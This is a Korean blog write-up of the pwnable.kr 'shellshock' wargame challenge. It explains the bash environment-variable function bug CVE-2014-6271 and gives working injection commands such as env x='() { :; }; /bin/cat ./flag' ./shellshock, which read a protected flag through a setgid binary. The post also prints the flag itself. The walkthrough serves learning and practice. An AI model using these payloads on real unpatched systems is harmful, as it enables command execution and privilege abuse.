Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

White Security

Shellshock 문제풀이 본문

Wargame Writeups/pwnable.kr

Shellshock 문제풀이

POSIX 2019. 2. 8. 12:11
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)


쉘 쇼크는 2014년에 발표된 

Bash 환경변수 설정 관련 취약점으로 

동일년도에 발표된 하트 블리드 보다도 

심각하다고 진단 되었습니다.


쉘쇼크 취약점이란 무엇인지

간단하게 개념 설명을 하고 넘어 가겠습니다.


shellshock@ubuntu:~$ foo() { echo hello; }
shellshock@ubuntu:~$ foo
hello


Bash 에서는 함수를 작성할 수 있습니다.


여타 언어들과 유사하게

중괄호 사이에 명령문을 삽입해 주는 것으로 선언이 가능한데

중괄호와 명령문 사이에 공백이 필요하다는 것을 제외하면

간단하게 사용이 가능합니다.


shellshock@ubuntu:~$ export foo='() { echo hello2; }'
shellshock@ubuntu:~$ ./bash
shellshock@ubuntu:~$ foo
hello2


함수를 환경변수 내에

선언하는 것도 가능합니다.


다만 바로 사용할 수 없고


환경변수에 함수를 선언하고

새롭게 서브쉘을 열어주면

부모쉘의 환경변수를 복사해 오는 과정에서

선언이 되는 것이지요.


HOME=/home/shellshock
LANGUAGE=en_US:
LOGNAME=shellshock
SSH_CONNECTION=61.84.181.30 50563 192.168.1.186 22
x=foo() { echo 123; }
XDG_RUNTIME_DIR=/run/user/1019
_=/usr/bin/env


명령문 실행시

부모쉘의 환경변수의 내용은 위과 같아지는데

x의 환경변수를 가져오는 과정에서

foo() { echo 123; }

이 실행되어 함수가 정의됩니다.


shellshock@ubuntu:~$ export foo='() { return; }; echo hello'
shellshock@ubuntu:~$ env | grep foo
foo=() { :; }; echo hello
shellshock@ubuntu:~$ ./bash
hello


문제는 함수 정의문 뒤에

명령문을 붙여넣을 경우에 발생합니다.


이미 중괄호가 닫혔기에

뒷 부분은 무시되어야 하지만

그렇지 못하고


함수에 속하지 않기 때문에

별도로 호출하지 않아도

서브쉘만 생성된다면 환경변수가 초기화되는 과정에서

뒤의 명령어는 실행됩니다.


env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]


추가로 환경변수를 설정하는 방법 중에는

env 라는 명령어도 존재하는데

환경변수 설정 후에 실행될 명령문을

뒤쪽에 추가하는 것이 가능합니다.


shellshock@ubuntu:~$ env x='() { :; }; echo hello' ./bash -c ''
hello


따라서 위와 같은 한 문장으로

환경변수 설정 및 서브쉘 생성을 동시에 할 수 있습니다.


추가로 함수 내부에 속한

: (colon)Bash빌트인 변수이며

관례적으로 true 를 대신해서 쓰이는 것으로

문장을 줄이기 위해 사용했습니다.


total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c


문제로 돌아와서, 파일을 조회해보면

추가로 Bash 바이너리가 존재합니다.


shellshock@ubuntu:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)


버전을 조회해보니 구버전으로

쉘쇼크 패치가 이루어지지 않은 상태였습니다.


#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}


소스를 살펴보면 system 함수를 사용해서

구버전 Bash를 통해 서브쉘을 생성하고 있습니다.


쉘쇼크를 적용할 수 있는 환경인 것이지요.


shellshock@ubuntu:~$ export x='() { :; }; /bin/cat ./flag'
shellshock@ubuntu:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!


환경변수에 플래그를 출력하도록

명령문을 집어넣은 후에 바이너리를 실행하자

플래그를 얻을 수 있었습니다.


shellshock@ubuntu:~$ env x='() { :; }; /bin/cat ./flag' ./shellshock


위에서 언급한 것과 같이

한 문장으로 축약하는 것도 가능합니다.


'Wargame Writeups > pwnable.kr' 카테고리의 다른 글

Blackjack 문제풀이  (0) 2019.02.10
Coin1 문제풀이  (0) 2019.02.09
Mistake 문제풀이  (0) 2019.02.08
Leg 문제풀이  (0) 2019.02.08
Input 문제풀이  (0) 2019.02.07
Comments